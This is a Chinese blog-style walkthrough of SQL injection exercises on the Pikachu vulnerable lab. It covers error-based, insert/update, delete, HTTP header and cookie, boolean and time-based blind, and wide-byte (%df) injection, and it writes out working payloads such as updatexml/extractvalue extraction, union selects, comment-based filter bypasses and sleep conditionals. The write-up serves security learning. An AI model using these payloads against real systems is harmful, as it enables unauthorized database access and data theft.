目录

XX型注入

insert/update注入

delete注入

"http header"注入

基于boolian的盲注

基于时间的盲注

宽字节注入(wide byte注入)


pikachu靶场的字符型注入中xx' or 1=1#可以得到所有用户的信息。

XX型注入

首先输入1'探测一下。

然后返回这样一条报错信息,注意near ''1'')' ,红色部分是表示内容为字符串的一对单引号,实际报错内容应该是'1''),然后这个橙色部分单引号应该是我们输入的导致报错的单引号,事实上还缺一个括号闭合,报错信息省略了,所以数据格式大概是('你的输入')。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'')' at line 1

输入1') order by 3#报错,经过尝试有两列内容。

输入1' union slect database(),2#爆库,接下来一一操作便是。

insert/update注入

首先注册一个用户。

随后点击修改信息,并且在性别后面加一个单引号。

提交后成功报错。

接下来想查看有几列,发现一直失败,这个时候转向报错注入。

输入1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#,成功拿到数据库名,接下来慢慢测吧哈哈,除了这个函数还可以用updatexml,它具有三个参数。

回到注册页面,注册一般使用insert语句,可能存在insert注入,insert格式如下:

用户输入1' or updatexml(1,concat(0x7e,(select database()),0x7e),0) or '

原来的

('百度','https://www.baidu.com')变成

('1' or updatexml(1,concat(0x7e,(select database()),0x7e),0) or '','https://www.baidu.com')

其中红色单引号是原本'百度'的一对单引号。

delete注入

首先上传一份javascript恶意脚本,然后成功上传。

这个时候尝试上传1',发现也没有报错。

接下来删除js脚本,页面没有变化。

但是当我们删除1'时候,提示我们删除失败,数据库挂了好好好,大概就是删除带有插入恶意符号的语句可能会触发sql注入。

我们重新上传1' order by 3#,随后删除看看,但是发现无论列数设置多少页面都没变化,但是就是在删除的时候存在sql注入,怎会回事呢?我们删除的时候抓包看一看。

这里猜测大概在id这里存在sql注入

将id设置为id=75',发现出现了报错。

接下来输入id=75 and 1=1

接下来,发现遇到了这个。

那么大概一些东西被过滤了,猜测是空格,将空格替换成/**/,随后删除成功。

随后输入id=77/**/and/**/1=2,发现不行,哎这个是数字型注入啊。

随后输入id=78/**/order/**/by/**/2,竟然不存在,然后尝试1也不行,那么转成报错注入方向。

输入id=79/**/and/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),0)

发现爆出了数据库名,除了这个paylaod还可以,在这里无论最终真值与否,右边的语句都会报错都会返回信息,所以关系不大。

id=79/**/or/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),0)

id=79/**/&&/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),0)

id=79/**/||/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),0)

"http header"注入

在这里我们登录了一个账号,发现返回了我的ip,user agent,http accept,端口号,由于我的信息都写入了数据库,所以这几个跟数据库相关的部分都可能存在sql注入。 

刷新页面抓包,首先在ip位置测试sql注入,然后返回了错误,但是并不是sql语句的报错,这里不存在。

接着在user agent后面加入一个单引号,发现sql语句报错,那么这里存在sql注入。

随后再次尝试,在accept后面追加单引号来测试,然后sql语句报错,那么这里也存在sql注入。

随后在cookie测试,发现cookie这三个参数都存在sql注入。

在cookie处利用报错注入输入' and updatexml(1,concat(0x7e,(select database()),0x7e),0)#

基于boolian的盲注

kobe' and '1'='1

kobe' and '1'='2

可以通过这个查看页面变化,但是这个页面只有这两种情况,怎么输入最后都没有出现sql语句报错,这里可以尝试布尔盲注入。

输入kobe' and length(database())>10#

但是输入kobe' and length(database())=7#,可以看出回显,那么可以通过这种办法猜测出数据库名字的长度。

输入kobe' and ascii(substr(database(),1,1))>100#,说明数据库名字的第一个字符的ASCII值大于100。

最终输入kobe' and ascii(substr(database(),1,1))=112#,说明数据库名字第一个字符的ASCII值为112,也就是p

接下来测表名,首先应该同刚刚一样测试表名的长度,随后根据表名每位字符的ascii码确定具体的表名。

基于时间的盲注

这道题我们发现无论怎么输入,最终都只会生成一个内容,所以我们仅仅可以使用页面的休息作为参考,那就是基于时间的盲注。

输入1' and sleep(5)#,页面停止5秒。

输入1' and if(length(database())>5,sleep(5),1)#

        页面停止5秒

输入1' and if(length(database())=7,sleep(5),1)#

        页面停止5秒,说明数据库名的长度是7。

输入1' and if(ascii(substr(database(),1,1))=112,sleep(5),1)#

        页面停止5秒,说明数据库名的第一个字符的ascii码为112,为p

随后慢慢测试出数据库名,测试表的方法一样,首先测试表的长度,随后测试表的内容。

宽字节注入(wide byte注入)

以下是宽字节注入简单学习。

攻击背景:

  1. 为了防止SQL注入,老式的PHP程序会开启 magic_quotes_gpc 选项,或者程序员手动使用 addslashes()mysql_real_escape_string() 等函数。

  2. 这些功能会在特殊字符(如单引号 ')前加上一个反斜杠(\) 进行转义。

    • 例如,用户输入 ABC',经过转义后会变成 ABC\'

    • 这样,当输入被拼接到SQL语句中时,\' 会被数据库认为是一个普通的单引号字符,而不是字符串的结束符,从而无法破坏SQL语句结构。

攻击原理:


“宽字节注入”利用了数据库连接层的一个特性:当MySQL连接使用 GBKBIG5SJIS 等宽字符集( multibyte character set)时,可能会将两个字节识别为一个汉字。

  • 关键点:在GBK编码中,%df%5c 是一个合法的汉字。

    • %df 就是我们讨论的这个字符。

    • %5c 是反斜杠 \ 的URL编码。

攻击过程:


假设我们想注入 id=1',但程序会对单引号转义。

  1. 正常输入被转义

    • 输入:1'

    • 转义后:1\' (单引号前被加上了反斜杠 \

    • 最终SQL:SELECT * FROM users WHERE id = '1\'';

    • 这个SQL是合法的,单引号被转义,注入失败。

  2. 使用 %df 进行宽字节注入

    • 输入:%df' (注意,这里是输入 %df 这个字符,而不是输入这三个符号)

    • 转义机制工作:程序看到单引号 ',于是在它前面加一个反斜杠 \

      • 转义后的数据变成了:%df\'

      • 在十六进制表示下,这就是:df 5c 27 (%df + \ + '

    • 魔法时刻:当数据库连接使用 GBK 这类宽字符集时,它会将 %df%5c(即 df 和 5c 这两个字节)“吞并”,理解为一个GBK编码的汉字 “運” (yùn)。

    • 最终,数据库看到的SQL语句变成了:

      sql

      SELECT * FROM users WHERE id = '運'';
    • 看!反斜杠(\)神奇地消失了! 单引号 ' 失去了它的保护伞(反斜杠),重新暴露出来,成为了一个未转义的单引号,成功地闭合了前面的字符串。

    • 现在,攻击者就可以在这个单引号之后继续构造Payload,例如:%df' AND 1=1 # 或 %df' UNION SELECT ... #


3. 总结:%df 的意义

  • 目的:它是一个用于触发宽字节注入精心构造的字节

  • 作用:与系统自动添加的反斜杠(\%5c)结合,形成一个宽字符(如GBK中的“運”),从而“吃掉”用于防护的安全反斜杠,使后续的单引号重新生效。

  • 条件:这种攻击成功需要两个前提:

    1. 数据库连接使用了宽字符集(如 GBKBIG5)。

    2. 目标网站使用了转义函数(如 addslashes)但未使用参数化查询

所以,%df 是Web安全历史上一个非常有名的“黑客字符”,它专门用来利用特定环境下的防御漏洞。看到它,安全研究人员立刻就会想到“宽字节注入”。

接下来回到靶场。

首先尝试1',发现没有报错,然后怎么输入页面都不变,时间盲注也没有办法使用。

这里我们尝试使用宽字节注入,在pikachu靶场的字符型sql注入中输入xx' or 1=1#就会返回所有人的信息,那么在这里按理来说,输入xx%df' or 1=1#应该也可以输出好多人的信息,但是这里没有。

但是当我们抓包时,将name改为1%df' or 1=1#时

然后再放包,就出现了所有人的信息,为什么呢?

因为首先如果在输入框输入1%df'后面会进行url编码,将%号url编码为%25,将单引号url编码为%27,并且生成斜杠然后url编码为%5c,所以原来的就变成1%25df%5c%27,但是在GBK编码中%df%5c 是一个合法的汉字,%25df%5c就不是一个合法的汉字了,从而导致单引号没有逃逸。

当我们在抓包后输入时,%就不会被url进行编码,从而当发现我们输入单引号时,系统生成斜杠(\),并且对它进行url编码为%5c,从而%df%5c表示一个汉字,从而剩下了单引号留下。

抓包后输入1%df' order by 3#后报错,输入1%df' order by 2#没有报错,那么存在两列。

输入1%df' union select 1,database()#

拿到了数据库名。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐